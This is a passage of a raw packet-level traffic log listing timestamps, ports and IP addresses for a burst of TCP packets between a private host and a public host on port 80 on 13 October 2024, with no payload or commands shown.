Oct 13, 2024 14:49:23.858746052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858755112 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858761072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858776093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858783007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858783007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858804941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858813047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858820915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858829975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858843088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858853102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858859062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858874083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858874083 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858889103 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.858901024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858901024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858948946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.858948946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859658957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859673977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859688997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859694958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859704018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859718084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859724998 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859733105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859746933 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859751940 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859761953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859771967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859776974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859792948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859807014 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859812975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859819889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859829903 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859834909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859849930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859855890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859863997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.859883070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859883070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.859903097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.860512018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.860528946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.860543013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.860549927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.860558033 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.860572100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.860591888 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.860616922 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.896814108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.896841049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.896853924 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.896877050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.896918058 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.896945953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.896961927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.896982908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.896986008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.897020102 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.897049904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.897130013 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.897145987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.897166967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.897192001 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899255991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899301052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899312973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899327993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899348021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899373055 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899471998 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899487019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899502039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899507046 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899534941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899564028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.899605036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.899645090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900264025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900321007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900326967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900336981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900367022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900398016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900464058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900480032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900494099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900501013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900510073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900521994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900537014 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900564909 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900713921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900731087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900758982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900788069 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900878906 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900893927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900908947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900926113 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900937080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900948048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900953054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900964022 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.900969028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900985003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.900990963 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901007891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901062012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901349068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901365042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901380062 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901387930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901396990 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901411057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901413918 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901427984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901431084 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901448011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901473045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901473045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901711941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901726007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901740074 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901756048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901762962 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901763916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901768923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901783943 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901789904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901798964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.901810884 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.901844978 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.902028084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.902071953 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.941934109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.941967964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942023993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942070961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.942100048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.942105055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942121029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942146063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.942178011 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.942260981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942276955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942291021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.942310095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.942323923 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.942339897 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.944669008 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.944730997 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.944736958 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.944751978 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.944777012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.944794893 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.944823027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.944839001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.944863081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.944880009 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.944981098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.944996119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945008993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945028067 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945043087 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945122004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945168972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945188046 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945202112 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945225000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945240021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945272923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945286989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945308924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945323944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945394993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945409060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945442915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945489883 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945506096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945521116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945538044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945545912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945554972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945570946 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945591927 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945745945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945760965 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945775032 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945789099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945789099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945806026 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945808887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945821047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.945837021 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.945863008 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946089029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946101904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946121931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946141958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946155071 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946228027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946243048 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946259975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946278095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946291924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946301937 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946309090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946326017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946340084 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946345091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946353912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946358919 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946369886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946377993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946382999 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946393013 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946397066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946408987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946413994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946427107 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946439028 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946463108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946866989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946882963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946897030 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.946917057 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.946930885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947019100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947033882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947047949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947068930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947071075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947087049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947091103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947101116 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947110891 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947117090 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947134018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947134972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947144985 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947158098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947175980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947551966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947566986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947582006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947597027 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947603941 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947613001 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947616100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947628021 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947638035 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947643042 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947666883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947690010 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.947973967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.947989941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948004007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948020935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948021889 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948041916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948064089 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948237896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948252916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948275089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948283911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948287964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948293924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948302984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948312044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948318005 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948326111 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948332071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948342085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948349953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948363066 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948363066 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948371887 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948378086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948386908 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948393106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948400974 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948407888 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:23.948424101 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948441982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.948451042 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.993777037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:23.998636007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221277952 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221292973 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221363068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221424103 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221637964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221684933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221726894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221743107 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221764088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221788883 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221812010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221853018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221921921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221937895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221952915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221959114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.221971035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.221981049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222001076 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222024918 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222201109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222217083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222238064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222263098 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222352982 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222368956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222383976 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222390890 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222398043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222413063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222419024 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222439051 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222495079 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222585917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222600937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222615957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222632885 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222666025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222666025 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:24.222723007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:24.222737074 CEST	80	49720	185.215.113.37	192.168.2.6
